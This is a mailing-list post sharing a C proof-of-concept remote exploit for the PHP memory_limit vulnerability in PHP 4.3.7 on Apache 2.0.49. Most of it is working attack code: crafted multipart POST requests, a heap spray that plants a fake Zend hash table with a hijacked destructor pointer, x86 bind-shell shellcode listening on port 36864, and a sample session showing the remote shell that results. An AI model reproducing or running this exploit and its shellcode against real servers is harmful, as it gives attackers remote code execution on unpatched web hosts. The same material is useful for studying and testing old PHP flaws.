Hi all,
Attached is an old POC I had written for the php memory limit vuln. It works
well on php 4.3.7 with 2.0.49 apache. But its not an elegant solution.
http://www.felinemenace.org/~gyan/phpnolimit.c
have fun,
Gyan
_________________________________________________________________
Choose what you want to read. Protect your mail from spam. http://server1.msn.co.in/sp04/hotmailspamcontrol/ Win the war in 9 steps! /* Remote exploit for the php memory_limit vulnerability found by Stefan
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary (gunnu45@xxxxxxxxxxx)
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan
*
*
*/
#include <stdio.h> #include <string.h> #include <unistd.h>
#include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h>
#define IP "127.0.0.1" #define PORT 80 int sock; struct sockaddr_in s;
char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";
char request2[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "\r\n" "-----------------------------264122487026375--\r\n";
char request3[]= "POST /info.php?a[1]=test HTTP/1.0" "Host: doesnotreallymatter\r\n" "User-Agent: mlxdebug\r\n" "Accept: text/html\r\n" "Connection: close\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Content-Type: multipart/form-data; boundary=-------------";
char request4[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "-----------------------------264122487026375--\r\n";
/*Ripped shellcode. Runs on port 36864*/ char shell[]= "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c" "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46" "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89" "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c" "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66" "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f" "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
void xp_connect(char *ip) { char buffer[1024]; char temp[1024]; int tmp;
s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(ip); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Cannot create socket\n");
exit(-1);
}if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
printf("Cannot connect()\n");
exit(-1);
}
}
void xp_write(char *data)
{ if(write (sock, data, strlen(data)) < 0)
{
printf("write() failed\n");
exit(-1);
}
}void xp_receive()
{
int tmp;
char buffer[1024*2]; if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
{
printf("read() failed\n");
exit(-1);
}
}char fill[] = " \r\n %s \r\n ";
/*This function builds the main request. In destroy_uploaded_files_hash we * need to pass zend_hash_apply to reach zend_hash_destroy. * We set * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply * 3) ht->pDestructor = addr to nop+shellcode * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi) * 0x402c22c2 <zend_hash_destroy+190>: call *%eax * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp * * $eax = ht->pDestructor */
void build1(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0xffffffff;
int got = 0x41414141;
int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
int sot = 0x02020202;
int ret = 0x081887a8; b1 = (char *)malloc(size-8);
p1 = b1; for (i=0; i<size-8; i+=36)
{
*( (int **)p1 ) = (int *)( pot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( ret );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( sot );
p1+=4;
}b2 = (char *)malloc(size+1); p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}/*Test function for resetting php memory , does not work properly with
* php_normalize_heap function */
void build2(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
b1 = (char *)malloc(size-8);
p1 = b1;
memset(p1, '\x42', size-8);
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}/*TODO*/
char *php_normalize_heap()
{
return;
}/*Builds our shellcode with NOP's and the mem interuption request*/
void build3(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0x90909090; b1 = (char *)malloc(size-8);
p1 = b1; for (i=0; i<size-8-strlen(shell); i+=4) {
*( (int **)p1 ) = (int *)( pot );
p1+=4;
}
p1 = b1;p1+= size - 8 - strlen(shell); strncpy(p1, shell, strlen(shell));
b2 = (char *)malloc(size+1);
p2 = b2;sprintf(p2, fill, b1);
for(i=0; i<count; i++) xp_write(b2); }
void exploit()
{int i;
printf("Stage 1: Filling mem with bad pdestructor ... ");
for (i=0; i< 5; i++)
{
xp_connect(IP);
xp_write(request1);
build1(5000, 1);
xp_write(request2);
close(sock);
}
printf("DONE\r\n");
printf("Stage 2: Triggering memory_limit now ... "); xp_connect(IP);
xp_write(request3);
build3(8192, 255);
build3(7265, 1);
xp_write(request4);
printf("DONE\r\n");
printf("Shell on port 36864\r\n");}
main()
{
/*No args, no vectors*/
exploit();
}/*
* Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
*trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
*
*
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/
